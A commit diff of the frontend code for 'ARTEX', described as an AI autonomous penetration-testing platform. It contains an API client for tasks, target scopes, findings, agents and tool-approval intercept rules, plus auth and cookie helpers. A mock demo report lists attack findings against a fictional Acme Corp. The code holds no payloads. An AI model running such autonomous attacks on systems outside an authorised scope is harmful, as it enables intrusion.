chore: ARTEX 初始化
ARTEX — AI 自主渗透测试系统(Go 后端 + Next.js 前端,单二进制内嵌)。 Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
This commit is contained in:
commit
0ef8561411
287 files changed
+70178
No files matched your search
@@ -0,0 +1,443 @@
|
||||
// Real backend client. /api/* is proxied to the Go backend (next.config rewrites).
|
||||
// Returns the domain types in lib/types.ts. Shapes match the backend handlers;
|
||||
// a few fields the backend serializes differently (e.g. created_at as a unix int)
|
||||
// are passed through and formatted at the call site.
|
||||
|
||||
import { MOCK } from "@/lib/mock/enabled";
|
||||
import { mockHandle } from "@/lib/mock/handler";
|
||||
import type {
|
||||
Task, Stats, Asset, AssetNode, Edge, Company, TaskNode, Finding, Activity,
|
||||
Audit, TrafficResp, TrafficDetail, Settings, LLMProfile, Agent, AgentDetail, PromptVar,
|
||||
PromptVersion, MCPServer, MCPTool, SkillItem, TokenUsage, TokenTotal, DailyTokenBucket,
|
||||
Tool, Conversation, AgentTrigger,
|
||||
InterceptRule, InterceptPending, InterceptApprovalRow,
|
||||
TaskAssetView, SSProject, SSTask, ConvTokenSummary,
|
||||
} from "@/lib/types";
|
||||
|
||||
function getToken(): string | null {
|
||||
if (typeof window === "undefined") return null;
|
||||
return localStorage.getItem("artex_token");
|
||||
}
|
||||
|
||||
async function http<T>(path: string, init?: RequestInit): Promise<T> {
|
||||
if (MOCK) return mockHandle<T>(init?.method ?? "GET", path, init?.body ?? null);
|
||||
const token = getToken();
|
||||
const r = await fetch(`/api${path}`, {
|
||||
...init,
|
||||
headers: {
|
||||
...(init?.body ? { "Content-Type": "application/json" } : {}),
|
||||
...(token ? { Authorization: `Bearer ${token}` } : {}),
|
||||
...(init?.headers as Record<string, string> | undefined),
|
||||
},
|
||||
});
|
||||
if (r.status === 401) {
|
||||
if (typeof window !== "undefined") {
|
||||
localStorage.removeItem("artex_token");
|
||||
document.cookie = "artex_token=; path=/; max-age=0";
|
||||
window.location.href = "/login";
|
||||
}
|
||||
throw new Error("未授权");
|
||||
}
|
||||
if (!r.ok) throw new Error(`${init?.method ?? "GET"} ${path}: ${r.status}`);
|
||||
if (r.status === 204) return undefined as T;
|
||||
return r.json();
|
||||
}
|
||||
|
||||
// sseUrl builds a URL for Server-Sent Events streams. SSE must NOT go through the
|
||||
// Next.js dev `/api` rewrite: that proxy buffers the streamed response, so event
|
||||
// frames never reach the browser (the EventSource opens but receives 0 messages).
|
||||
// We therefore connect straight to the Go backend, whose CORS is open. Override
|
||||
// with NEXT_PUBLIC_SSE_BASE; set it to "" to force same-origin (e.g. behind a
|
||||
// production reverse proxy that flushes SSE correctly).
|
||||
// Token is appended as ?token= because SSE bypasses the Next.js proxy and the
|
||||
// browser does not send cookies cross-port.
|
||||
// mockReport returns a canned Markdown report for the demo.
|
||||
function mockReport(_task?: string): string {
|
||||
return `# ARTEX 渗透测试报告 — Acme Corp
|
||||
|
||||
## 概览
|
||||
- 范围:acme.com(含 www / admin / api / shop / vpn 子域)
|
||||
- 已确认发现:6 项(高危 3 · 中危 3 · 低危 2)
|
||||
- 引擎模式:exploring
|
||||
|
||||
## 关键发现
|
||||
1. **[高] 后台默认口令** admin.acme.com admin/admin123 → 可完全接管后台。
|
||||
2. **[高] SQL 注入** www.acme.com/search?q= → 可读取 acme_prod 库。
|
||||
3. **[高] IDOR** api.acme.com/v1/orders?id= → 可越权读取他人订单(含手机号/地址)。
|
||||
4. **[中] 反射型 XSS**、**暴露 .git 源码**、**登录无速率限制**。
|
||||
|
||||
## 建议
|
||||
- 后台强制改密 + 启用 MFA、封禁默认口令。
|
||||
- search 接口参数化查询、输出编码。
|
||||
- API 增加对象级授权校验(IDOR)、更换强 JWT 密钥。
|
||||
|
||||
> (demo)本报告由 mock 数据生成,仅用于界面演示。`;
|
||||
}
|
||||
|
||||
export function sseUrl(path: string): string {
|
||||
const base =
|
||||
process.env.NEXT_PUBLIC_SSE_BASE ??
|
||||
(typeof window !== "undefined"
|
||||
? `${window.location.protocol}//${window.location.hostname}:8787`
|
||||
: "");
|
||||
const token = getToken();
|
||||
const sep = path.includes("?") ? "&" : "?";
|
||||
return token ? `${base}${path}${sep}token=${encodeURIComponent(token)}` : `${base}${path}`;
|
||||
}
|
||||
|
||||
const get = <T>(p: string) => http<T>(p);
|
||||
const post = <T>(p: string, body?: unknown) => http<T>(p, { method: "POST", body: body ? JSON.stringify(body) : undefined });
|
||||
const put = <T>(p: string, body?: unknown) => http<T>(p, { method: "PUT", body: body ? JSON.stringify(body) : undefined });
|
||||
const patch = <T>(p: string, body?: unknown) => http<T>(p, { method: "PATCH", body: body ? JSON.stringify(body) : undefined });
|
||||
const del = <T>(p: string) => http<T>(p, { method: "DELETE" });
|
||||
|
||||
// Go serializes nil slices as JSON null — coerce to [].
|
||||
const arr = <T>(x: T[] | null | undefined): T[] => x ?? [];
|
||||
const tq = (task?: string, sep: "?" | "&" = "?") => (task ? `${sep}task=${encodeURIComponent(task)}` : "");
|
||||
|
||||
export const api = {
|
||||
// ---- auth ----
|
||||
authStatus: () => get<{ initialized: boolean }>("/auth/status"),
|
||||
login: (username: string, password: string) =>
|
||||
post<{ token: string }>("/auth/login", { username, password }),
|
||||
initPassword: (password: string) =>
|
||||
post<{ token: string }>("/auth/init", { password }),
|
||||
changePassword: (oldPassword: string, newPassword: string) =>
|
||||
post<{ ok: boolean }>("/auth/change-password", { old_password: oldPassword, new_password: newPassword }),
|
||||
|
||||
// ---- tasks ----
|
||||
tasks: () => get<{ tasks: Task[]; active: string }>("/tasks").then((r) => ({ tasks: arr(r.tasks), active: r.active ?? "" })),
|
||||
createTask: (description: string, goal: string, llmProfileId?: number, timeoutSeconds?: number) =>
|
||||
post<Task>("/tasks", { description, goal, llm_profile_id: llmProfileId ?? null, timeout_seconds: timeoutSeconds ?? 0 }),
|
||||
deleteTask: (id: string) => del<{ deleted: number }>(`/tasks/${id}`),
|
||||
controlTask: (id: string, action: "pause" | "resume") => post<{ id: string; paused: boolean }>(`/tasks/${id}/control`, { action }),
|
||||
setActive: (id: string) => post<{ active: string }>("/active", { id }),
|
||||
// ---- stats ----
|
||||
stats: (task?: string) => get<Stats>(`/stats${tq(task)}`),
|
||||
|
||||
// ---- assets ----
|
||||
// Server-side paginated: pass limit/offset, get back the page + full match total.
|
||||
assets: (type = "", limit = 50, offset = 0) =>
|
||||
get<{ count: number; total: number; assets: Asset[] }>(`/assets?type=${type}&limit=${limit}&offset=${offset}`)
|
||||
.then((r) => ({ assets: r?.assets ?? [], total: r?.total ?? r?.count ?? 0 })),
|
||||
searchAssets: (dsl: string, type = "", limit = 50, offset = 0) =>
|
||||
get<{ count: number; total: number; assets: Asset[] }>(
|
||||
`/assets?dsl=${encodeURIComponent(dsl)}${type ? `&type=${encodeURIComponent(type)}` : ""}&limit=${limit}&offset=${offset}`,
|
||||
).then((r) => ({ assets: r?.assets ?? [], total: r?.total ?? r?.count ?? 0 })),
|
||||
assetCounts: () => get<Record<string, number>>("/assets/counts"),
|
||||
deleteAssets: (ids: number[]) =>
|
||||
http<{ deleted: number }>("/assets", { method: "DELETE", body: JSON.stringify({ ids }) }),
|
||||
// legacy — kept for task-specific views; hits the same endpoint with task_id filter
|
||||
taskAssets: (taskId: string, type = "") =>
|
||||
get<{ count: number; assets: Asset[] }>(`/assets?task_id=${taskId}&type=${type}`)
|
||||
.then((r) => r?.assets ?? []),
|
||||
|
||||
// ---- companies (企业 + 资产范围;归属唯一来源) ----
|
||||
companies: () => get<Company[]>("/companies").then(arr),
|
||||
createCompany: (name: string, logo: string, scope: string) =>
|
||||
post<{ id: number; created: boolean; scope_added?: number; scope_invalid?: number; scope_errors?: string[] }>(
|
||||
"/companies",
|
||||
{ name, logo, scope: scope.trim() ? scope.split("\n").map((s) => s.trim()).filter(Boolean) : [] },
|
||||
),
|
||||
addCompanyScope: (id: number, scope: string, reason = "") =>
|
||||
post<{ added: number; skipped: number; invalid: number; errors?: string[] }>(
|
||||
`/companies/${id}/scope`,
|
||||
{ scope: scope.trim() ? scope.split("\n").map((s) => s.trim()).filter(Boolean) : [], reason },
|
||||
),
|
||||
updateCompanyScope: (id: number, scope: string, reason = "") =>
|
||||
post<{ added: number; skipped: number; invalid: number; errors?: string[] }>(
|
||||
`/companies/${id}/scope`,
|
||||
{ scope: scope.trim() ? scope.split("\n").map((s) => s.trim()).filter(Boolean) : [], reason, reset: true },
|
||||
),
|
||||
deleteCompany: (id: number, deleteAssets = false) =>
|
||||
http<{ deleted: number; assets_deleted: number }>(`/companies/${id}`, {
|
||||
method: "DELETE",
|
||||
body: JSON.stringify({ delete_assets: deleteAssets }),
|
||||
}),
|
||||
|
||||
// ---- exploration (per task) ----
|
||||
frontier: (task?: string) => get<TaskNode[]>(`/exploration/frontier${tq(task)}`).then(arr),
|
||||
findings: (task?: string) => get<Finding[]>(`/exploration/findings${tq(task)}`).then(arr),
|
||||
intents: (task?: string) => get<TaskNode[]>(`/exploration/intents${tq(task)}`).then(arr),
|
||||
tokenStats: (task?: string) =>
|
||||
get<{ workers: TokenUsage[]; total: TokenTotal }>(`/exploration/tokens${tq(task)}`).then((r) => ({
|
||||
workers: arr(r.workers),
|
||||
total: r.total,
|
||||
})),
|
||||
tokenDaily: (days = 30) =>
|
||||
get<DailyTokenBucket[]>(`/tokens/daily?days=${days}`).then(arr),
|
||||
conversationTokens: () =>
|
||||
get<ConvTokenSummary[]>("/tokens/conversations").then(arr).catch(() => [] as ConvTokenSummary[]),
|
||||
explorationGraph: (task?: string) => get<{ nodes: TaskNode[]; edges: Edge[] }>(`/exploration/graph${tq(task)}`),
|
||||
activity: (task?: string, opts?: { intent?: string; since?: number; limit?: number }) => {
|
||||
const q = new URLSearchParams();
|
||||
if (task) q.set("task", task);
|
||||
if (opts?.intent) q.set("intent", opts.intent);
|
||||
if (opts?.since) q.set("since", String(opts.since));
|
||||
if (opts?.limit) q.set("limit", String(opts.limit));
|
||||
return get<{ items: Activity[]; cursor: number }>(`/exploration/activity?${q.toString()}`).then((r) => ({ items: arr(r.items), cursor: r.cursor ?? 0 }));
|
||||
},
|
||||
activityDetail: (id: number, task?: string) => get<{ detail: string }>(`/exploration/activity/${id}${tq(task)}`),
|
||||
|
||||
// ---- traffic / audit / report / chat ----
|
||||
audit: (task?: string) => get<Audit>(`/audit${tq(task)}`),
|
||||
traffic: (page = 0, size = 100, host = "", method = "", q = "") =>
|
||||
get<TrafficResp>(
|
||||
`/traffic?page=${page}&size=${size}` +
|
||||
(host ? `&host=${encodeURIComponent(host)}` : "") +
|
||||
(method && method !== "all" ? `&method=${encodeURIComponent(method)}` : "") +
|
||||
(q ? `&q=${encodeURIComponent(q)}` : ""),
|
||||
),
|
||||
trafficExchange: (id: string) =>
|
||||
get<TrafficDetail>(`/traffic/exchange?id=${encodeURIComponent(id)}`),
|
||||
|
||||
// ---- app settings (runtime toggles) ----
|
||||
settings: () => get<Settings>(`/settings`),
|
||||
setSettings: (patch: Partial<Settings>) => put<Settings>(`/settings`, patch),
|
||||
// Run a real "test" search with the given (or saved) config to verify it works.
|
||||
testWebSearch: (patch: { web_search_backend?: string; web_search_proxy?: string; brave_search_api_key?: string; tavily_search_api_key?: string }) =>
|
||||
post<{ ok: boolean; error?: string; count?: number; backend?: string }>(`/settings/web-search/test`, patch),
|
||||
report: async (task?: string) => {
|
||||
if (MOCK) return mockReport(task);
|
||||
const token = getToken();
|
||||
const r = await fetch(`/api/report${tq(task)}`, {
|
||||
headers: token ? { Authorization: `Bearer ${token}` } : {},
|
||||
});
|
||||
if (!r.ok) throw new Error(`report: ${r.status}`);
|
||||
return r.text();
|
||||
},
|
||||
chat: (message: string, task?: string) => post<{ reply: string; mode: string }>(`/chat${tq(task)}`, { message }),
|
||||
stopChat: (taskId: string) => post<{ status: string }>(`/tasks/${taskId}/chat/stop`, {}),
|
||||
gc: (ttl = 86400) => post<{ removed: number }>(`/gc?ttl=${ttl}`, {}),
|
||||
|
||||
// ---- LLM ----
|
||||
getLLM: () => get<{ configured: boolean; provider: string; model: string; base_url: string; proxy?: string; key_set: boolean; rate_per_second?: number; rate_per_minute?: number; context_window_k?: number; reasoning_effort?: string }>("/llm"),
|
||||
setLLM: (provider: string, model: string, base_url: string, api_key: string, rate_per_second = 0, rate_per_minute = 0, proxy = "", context_window_k = 0) =>
|
||||
post("/llm", { provider, model, base_url, proxy, api_key, rate_per_second, rate_per_minute, context_window_k }),
|
||||
testLLM: (
|
||||
provider: string,
|
||||
model: string,
|
||||
base_url: string,
|
||||
api_key: string,
|
||||
proxy = "",
|
||||
reasoning_effort = "",
|
||||
profile_id?: number,
|
||||
) =>
|
||||
post<{ ok: boolean; error?: string; latency_ms?: number; model?: string }>("/llm/test", {
|
||||
provider,
|
||||
model,
|
||||
base_url,
|
||||
proxy,
|
||||
api_key,
|
||||
reasoning_effort,
|
||||
profile_id,
|
||||
}),
|
||||
llmProfiles: () => get<{ profiles: LLMProfile[] }>("/llm/profiles").then((r) => arr(r.profiles)),
|
||||
saveLLMProfile: (p: {
|
||||
id?: number; // omit/0 = create; set = update that profile
|
||||
name: string;
|
||||
format: string;
|
||||
model: string;
|
||||
base_url?: string;
|
||||
proxy?: string;
|
||||
api_key?: string; // blank on update keeps the existing key
|
||||
rate_per_second?: number;
|
||||
rate_per_minute?: number;
|
||||
context_window_k?: number;
|
||||
reasoning_effort?: string; // ""|"off"|"low"|"medium"|"high"|"max"
|
||||
}) => post<{ id: number }>("/llm/profiles", p),
|
||||
deleteLLMProfile: (id: string) => del<{ deleted: number }>(`/llm/profiles/${id}`),
|
||||
activateLLMProfile: (id: string) => post<{ ok: boolean }>("/llm/profiles/active", { id: Number(id) }),
|
||||
|
||||
// ---- agents ----
|
||||
agents: () => get<{ agents: Agent[] }>("/agents").then((r) => arr(r.agents)),
|
||||
getAgent: (key: string) => get<AgentDetail>(`/agents/${key}`),
|
||||
createAgent: (key: string, name: string, description = "") =>
|
||||
post<Agent>("/agents", { key, name, description }),
|
||||
updateAgent: (key: string, name: string, description = "") =>
|
||||
patch<{ ok: boolean }>(`/agents/${key}`, { name, description }),
|
||||
deleteAgent: (key: string) => del<{ deleted: string }>(`/agents/${key}`),
|
||||
|
||||
// ---- conversations (chat page) ----
|
||||
conversations: () => get<{ conversations: Conversation[] }>("/conversations").then((r) => arr(r.conversations)),
|
||||
createConversation: (agent_key: string, title = "", llm_profile_id?: number | null) =>
|
||||
post<Conversation>("/conversations", { agent_key, title, llm_profile_id: llm_profile_id ?? null }),
|
||||
renameConversation: (id: number, title: string) => patch<{ ok: boolean }>(`/conversations/${id}`, { title }),
|
||||
updateConversationProfile: (id: number, llm_profile_id: number | null) =>
|
||||
patch<{ ok: boolean }>(`/conversations/${id}/profile`, { llm_profile_id }),
|
||||
deleteConversation: (id: number) => del<{ deleted: number }>(`/conversations/${id}`),
|
||||
conversationMessages: (id: number, since = 0) =>
|
||||
get<{ items: Activity[]; cursor: number; running: boolean }>(`/conversations/${id}/messages?since=${since}`).then(
|
||||
(r) => ({ items: arr(r.items), cursor: r.cursor ?? 0, running: !!r.running }),
|
||||
),
|
||||
conversationMsgDetail: (id: number, seq: number) =>
|
||||
get<{ detail: string }>(`/conversations/${id}/messages/${seq}`).then((r) => r.detail ?? ""),
|
||||
sendConversationMessage: (id: number, message: string) =>
|
||||
post<{ status: string }>(`/conversations/${id}/messages`, { message }),
|
||||
stopConversation: (id: number) => post<{ status: string }>(`/conversations/${id}/stop`, {}),
|
||||
saveAgentPrompt: (key: string, template: string, note = "") => put<{ version: number }>(`/agents/${key}/prompt`, { template, note }),
|
||||
resetAgentPrompt: (key: string) => post<{ version: number }>(`/agents/${key}/prompt/reset`, {}),
|
||||
// 收尾提示词(超时/步数耗尽的 settlement 提示);prompt 空串=清除覆盖、用内置默认;
|
||||
// max_turns 省略则不动、传 0=用内置默认轮数
|
||||
saveAgentWrapup: (key: string, prompt: string, maxTurns?: number) =>
|
||||
put<{ ok: boolean }>(`/agents/${key}/wrapup`, { prompt, max_turns: maxTurns }),
|
||||
resetAgentWrapup: (key: string) =>
|
||||
post<{ ok: boolean; wrapup_default: string; wrapup_max_turns_default: number }>(`/agents/${key}/wrapup/reset`, {}),
|
||||
// 任务级超时收尾词(仅 worker/planner);prompt 空=清除、用内置默认
|
||||
saveAgentTaskTimeoutWrapup: (key: string, prompt: string, maxTurns?: number) =>
|
||||
put<{ ok: boolean }>(`/agents/${key}/wrapup/task-timeout`, { prompt, max_turns: maxTurns }),
|
||||
resetAgentTaskTimeoutWrapup: (key: string) =>
|
||||
post<{ ok: boolean; task_timeout_wrapup_default: string; task_timeout_wrapup_max_turns_default: number }>(`/agents/${key}/wrapup/task-timeout/reset`, {}),
|
||||
// P3 triggers (仅自定义 agent)
|
||||
agentTriggers: (key: string) =>
|
||||
get<{ triggers: AgentTrigger[] }>(`/agents/${key}/triggers`).then((r) => arr(r.triggers)),
|
||||
createTrigger: (key: string, t: Omit<AgentTrigger, "id" | "agent_key" | "last_fire">) =>
|
||||
post<AgentTrigger>(`/agents/${key}/triggers`, t),
|
||||
updateTrigger: (id: number, t: Omit<AgentTrigger, "id" | "agent_key" | "last_fire">) =>
|
||||
patch<{ ok: boolean }>(`/triggers/${id}`, t),
|
||||
deleteTrigger: (id: number) => del<{ deleted: number }>(`/triggers/${id}`),
|
||||
saveAgentConfig: (key: string, patch: { max_turns: number; run_seconds?: number; web_search?: boolean; interactive_shell?: boolean }) =>
|
||||
put<{ ok: boolean }>(`/agents/${key}/config`, patch),
|
||||
agentPromptVersions: (key: string) => get<{ versions: PromptVersion[] }>(`/agents/${key}/prompts`).then((r) => arr(r.versions)),
|
||||
agentVariables: (key: string) => get<{ variables: PromptVar[] }>(`/agents/${key}/variables`).then((r) => arr(r.variables)),
|
||||
previewAgentPrompt: (key: string, template: string, sample?: Record<string, string>) =>
|
||||
post<{ rendered: string; error?: string }>(`/agents/${key}/prompt/preview`, { template, sample }),
|
||||
getAgentVisibility: (key: string) => get<{ mcp: number[]; skill: string[] }>(`/agents/${key}/visibility`),
|
||||
setAgentVisibility: (key: string, mcp: number[], skill: string[]) => put<{ ok: boolean }>(`/agents/${key}/visibility`, { mcp, skill }),
|
||||
|
||||
// ---- tools (内置工具目录) ----
|
||||
tools: () => get<{ tools: Tool[] }>("/tools").then((r) => arr(r.tools)),
|
||||
saveTool: (key: string, patch: Pick<Tool, "description" | "schema" | "agents" | "enabled">) =>
|
||||
put<{ ok: boolean }>(`/tools/${key}`, patch),
|
||||
resetTool: (key: string) => post<{ ok: boolean }>(`/tools/${key}/reset`, {}),
|
||||
// custom tools (自定义工具)
|
||||
createCustomTool: (t: Pick<Tool, "key" | "description" | "schema" | "agents" | "enabled" | "kind" | "exec" | "deferred">) =>
|
||||
post<{ key: string }>("/tools/custom", t),
|
||||
updateCustomTool: (key: string, t: Pick<Tool, "description" | "schema" | "agents" | "enabled" | "kind" | "exec" | "deferred">) =>
|
||||
put<{ ok: boolean }>(`/tools/custom/${key}`, t),
|
||||
deleteCustomTool: (key: string) => del<{ deleted: string }>(`/tools/custom/${key}`),
|
||||
testCustomTool: (body: { kind: string; exec: Record<string, unknown>; params: Record<string, unknown> }) =>
|
||||
post<{ output: string; is_error: boolean }>("/tools/custom/test", body),
|
||||
detectPython: () => post<{ python_interpreter: string }>("/settings/python/detect", {}),
|
||||
|
||||
// ---- mcp ----
|
||||
mcpServers: () => get<{ servers: MCPServer[] }>("/mcp").then((r) => arr(r.servers)),
|
||||
saveMcpServer: (m: Partial<MCPServer>) => post<{ id: number }>("/mcp", m),
|
||||
deleteMcpServer: (id: number) => del<{ deleted: number }>(`/mcp/${id}`),
|
||||
mcpTools: (id: number) => get<{ tools: MCPTool[] }>(`/mcp/${id}/tools`).then((r) => arr(r.tools)),
|
||||
refreshMcpServer: (id: number) => post<{ tools: MCPTool[] }>(`/mcp/${id}/refresh`, {}).then((r) => arr(r.tools)),
|
||||
|
||||
// ---- 资产同步 (ScopeSentry 数据源) ----
|
||||
ssStatus: () =>
|
||||
get<{ exists: boolean; configured: boolean; enabled: boolean; reachable: boolean; url?: string; tools: string[] }>(
|
||||
"/sync/scopesentry/status",
|
||||
),
|
||||
ssDatasource: (body: { url?: string; api_key?: string }) =>
|
||||
post<{ id: number; enabled: boolean }>("/sync/scopesentry/datasource", body),
|
||||
ssProjects: (page = 1, size = 50, search = "") =>
|
||||
get<{ projects: SSProject[]; tag: Record<string, number> }>(
|
||||
`/sync/scopesentry/projects?page=${page}&size=${size}${search ? `&search=${encodeURIComponent(search)}` : ""}`,
|
||||
).then((r) => ({ projects: arr(r.projects), tag: r.tag ?? {} })),
|
||||
ssTasks: (page = 1, size = 50, search = "") =>
|
||||
get<{ tasks: SSTask[] }>(
|
||||
`/sync/scopesentry/tasks?page=${page}&size=${size}${search ? `&search=${encodeURIComponent(search)}` : ""}`,
|
||||
).then((r) => arr(r.tasks)),
|
||||
ssSync: (body: {
|
||||
dimension: "project" | "task";
|
||||
targets: string[];
|
||||
asset_types: string[];
|
||||
create_company?: boolean;
|
||||
page_size?: number;
|
||||
}) =>
|
||||
post<{
|
||||
synced: Record<string, number>;
|
||||
companies: string[] | null;
|
||||
warnings: string[] | null;
|
||||
errors: string[] | null;
|
||||
}>("/sync/scopesentry/sync", body),
|
||||
|
||||
// ---- skills (文件系统) ----
|
||||
skills: () => get<{ skills: SkillItem[] }>("/skills").then((r) => arr(r.skills)),
|
||||
createSkill: (s: { name: string; description: string; license?: string; compatibility?: string; mcps?: string[]; instructions?: string }) =>
|
||||
post<{ name: string }>("/skills", s),
|
||||
// uploadSkill installs a skill from a .zip (multipart). Surfaces the backend
|
||||
// error text (e.g. 已存在 / 缺少 SKILL.md) so the UI can show a precise message.
|
||||
uploadSkill: async (file: File, overwrite = false): Promise<{ name: string; files: number }> => {
|
||||
if (MOCK) return { name: file.name.replace(/\.zip$/i, ""), files: 1 };
|
||||
const fd = new FormData();
|
||||
fd.append("file", file);
|
||||
const token = getToken();
|
||||
const r = await fetch(`/api/skills/upload${overwrite ? "?overwrite=true" : ""}`, {
|
||||
method: "POST",
|
||||
body: fd,
|
||||
headers: token ? { Authorization: `Bearer ${token}` } : {},
|
||||
});
|
||||
const body = await r.json().catch(() => ({}));
|
||||
if (!r.ok) throw new Error(body?.error || `上传失败(${r.status})`);
|
||||
return body;
|
||||
},
|
||||
deleteSkill: (name: string) => del<{ deleted: string }>(`/skills/${name}`),
|
||||
updateSkillMeta: (name: string, meta: { mcps?: string[]; description?: string; license?: string; compatibility?: string }) =>
|
||||
put<{ ok: boolean }>(`/skills/${name}/meta`, meta),
|
||||
createSkillDir: (skill: string, path: string) =>
|
||||
post<{ dir: string }>(`/skills/${skill}/dirs`, { path }),
|
||||
skillFiles: (name: string) => get<{ files: string[] }>(`/skills/${name}/files`).then((r) => r.files),
|
||||
readSkillFile: (name: string, file: string) =>
|
||||
get<{ content: string; file: string }>(`/skills/${name}/files/${file}`).then((r) => r.content),
|
||||
writeSkillFile: (name: string, file: string, content: string) =>
|
||||
put<{ ok: boolean }>(`/skills/${name}/files/${file}`, { content }),
|
||||
deleteSkillPath: (skill: string, path: string) =>
|
||||
del<{ deleted: string }>(`/skills/${skill}/files/${path}`),
|
||||
|
||||
// ---- visibility (MCP resource side) ---- (agent ids are strings per spec)
|
||||
resourceVisibility: (kind: string, id: number) => get<{ agents: string[] }>(`/visibility/${kind}/${id}`).then((r) => arr(r.agents)),
|
||||
toggleVisibility: (agentId: string, kind: string, resourceId: number, visible: boolean) =>
|
||||
post<{ ok: boolean }>("/visibility/toggle", { agent_id: agentId, kind, resource_id: resourceId, visible }),
|
||||
|
||||
// ---- visibility (Skill,按名称) ----
|
||||
skillVisibility: (name: string) => get<{ agents: string[] }>(`/visibility/skill/${name}`).then((r) => arr(r.agents)),
|
||||
toggleSkillVisibility: (agentId: string, skillName: string, visible: boolean) =>
|
||||
post<{ ok: boolean }>("/visibility/skill/toggle", { agent_id: agentId, skill_name: skillName, visible }),
|
||||
|
||||
// ---- intercept rules ----
|
||||
interceptRules: () => get<{ rules: InterceptRule[] }>("/intercept/rules").then((r) => arr(r.rules)),
|
||||
createInterceptRule: (rule: Omit<InterceptRule, "id" | "created_at" | "updated_at">) =>
|
||||
post<InterceptRule>("/intercept/rules", rule),
|
||||
updateInterceptRule: (id: number, rule: Omit<InterceptRule, "id" | "created_at" | "updated_at">) =>
|
||||
put<InterceptRule>(`/intercept/rules/${id}`, rule),
|
||||
deleteInterceptRule: (id: number) => del<{ deleted: number }>(`/intercept/rules/${id}`),
|
||||
toggleInterceptRule: (id: number, enabled: boolean) =>
|
||||
post<{ ok: boolean; enabled: boolean }>(`/intercept/rules/${id}/toggle`, { enabled }),
|
||||
|
||||
// ---- intercept pending (ask) ----
|
||||
interceptPending: () => get<{ pending: InterceptPending[] }>("/intercept/pending").then((r) => arr(r.pending)),
|
||||
interceptGetOne: (id: number) => get<InterceptPending>(`/intercept/pending/${id}`),
|
||||
interceptDecide: (id: number, decision: "allowed" | "denied") =>
|
||||
post<{ ok: boolean }>(`/intercept/pending/${id}/decide`, { decision }),
|
||||
interceptHistory: () => get<{ items: InterceptApprovalRow[] }>("/intercept/history").then((r) => arr(r.items)),
|
||||
interceptTask: (taskId: string) => get<{ items: InterceptApprovalRow[] }>(`/intercept/task/${taskId}`).then((r) => arr(r.items)),
|
||||
|
||||
// ---- intercept tool-config (全局工具拦截范围) ----
|
||||
interceptGetToolConfig: async (): Promise<{ enabled_tools: string[] }> => {
|
||||
if (MOCK) return { enabled_tools: ["bash"] };
|
||||
const token = getToken();
|
||||
const r = await fetch("/api/intercept/tool-config", {
|
||||
headers: token ? { Authorization: `Bearer ${token}` } : {},
|
||||
});
|
||||
if (!r.ok) throw new Error(await r.text());
|
||||
return r.json();
|
||||
},
|
||||
interceptSetToolConfig: async (enabledTools: string[]): Promise<void> => {
|
||||
if (MOCK) return;
|
||||
const token = getToken();
|
||||
const r = await fetch("/api/intercept/tool-config", {
|
||||
method: "PUT",
|
||||
headers: {
|
||||
"Content-Type": "application/json",
|
||||
...(token ? { Authorization: `Bearer ${token}` } : {}),
|
||||
},
|
||||
body: JSON.stringify({ enabled_tools: enabledTools }),
|
||||
});
|
||||
if (!r.ok) throw new Error(await r.text());
|
||||
},
|
||||
};
|
||||
@@ -0,0 +1,46 @@
|
||||
const TOKEN_KEY = "artex_token";
|
||||
const COOKIE_MAX_AGE = 7 * 24 * 60 * 60; // 7 天(秒)
|
||||
|
||||
export interface CurrentUser {
|
||||
id: string;
|
||||
name: string;
|
||||
username: string;
|
||||
email: string;
|
||||
avatar: string;
|
||||
role: string;
|
||||
}
|
||||
|
||||
export const auth = {
|
||||
getToken(): string | null {
|
||||
if (typeof window === "undefined") return null;
|
||||
// Mock demo:无真实登录,返回一个假 token 让路由守卫放行、直接进主界面。
|
||||
return localStorage.getItem(TOKEN_KEY) ?? (process.env.NEXT_PUBLIC_MOCK === "1" ? "mock-demo" : null);
|
||||
},
|
||||
|
||||
setToken(token: string): void {
|
||||
localStorage.setItem(TOKEN_KEY, token);
|
||||
// 同步写 cookie,供 Next.js middleware 服务端读取
|
||||
document.cookie = `${TOKEN_KEY}=${encodeURIComponent(token)}; path=/; max-age=${COOKIE_MAX_AGE}; SameSite=Lax`;
|
||||
},
|
||||
|
||||
clearToken(): void {
|
||||
localStorage.removeItem(TOKEN_KEY);
|
||||
document.cookie = `${TOKEN_KEY}=; path=/; max-age=0`;
|
||||
},
|
||||
|
||||
// 从 JWT payload 的 sub 字段解析当前用户,仅用于展示,不做签名验证。
|
||||
getCurrentUser(): CurrentUser | null {
|
||||
const token = this.getToken();
|
||||
if (!token) return null;
|
||||
try {
|
||||
const parts = token.split(".");
|
||||
if (parts.length !== 3) return null;
|
||||
// base64url → base64
|
||||
const payload = JSON.parse(atob(parts[1].replace(/-/g, "+").replace(/_/g, "/")));
|
||||
const username: string = payload.sub ?? "ARTEX";
|
||||
return { id: "1", name: username, username, email: "", avatar: "", role: "operator" };
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
},
|
||||
};
|
||||
@@ -0,0 +1,24 @@
|
||||
// Client-side cookie utilities.
|
||||
// These functions manage cookies in the browser only.
|
||||
// Server actions handle cookie updates on the server side.
|
||||
|
||||
function writeClientCookie(serializedCookie: string) {
|
||||
// biome-ignore lint/suspicious/noDocumentCookie: This project still uses document.cookie for broad browser support.
|
||||
document.cookie = serializedCookie;
|
||||
}
|
||||
|
||||
export function setClientCookie(key: string, value: string, days = 7) {
|
||||
const expires = new Date(Date.now() + days * 864e5).toUTCString();
|
||||
writeClientCookie(`${key}=${value}; expires=${expires}; path=/`);
|
||||
}
|
||||
|
||||
export function getClientCookie(key: string) {
|
||||
return document.cookie
|
||||
.split("; ")
|
||||
.find((row) => row.startsWith(`${key}=`))
|
||||
?.split("=")[1];
|
||||
}
|
||||
|
||||
export function deleteClientCookie(key: string) {
|
||||
writeClientCookie(`${key}=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/`);
|
||||
}
|
||||
@@ -0,0 +1,197 @@
|
||||
import {
|
||||
DM_Sans,
|
||||
Figtree,
|
||||
Geist,
|
||||
Geist_Mono,
|
||||
Inter,
|
||||
JetBrains_Mono,
|
||||
Lora,
|
||||
Merriweather,
|
||||
Noto_Sans,
|
||||
Noto_Serif,
|
||||
Nunito_Sans,
|
||||
Outfit,
|
||||
Playfair_Display,
|
||||
Public_Sans,
|
||||
Raleway,
|
||||
Roboto,
|
||||
Roboto_Slab,
|
||||
} from "next/font/google";
|
||||
|
||||
import { GeistPixelSquare } from "geist/font/pixel";
|
||||
|
||||
const inter = Inter({
|
||||
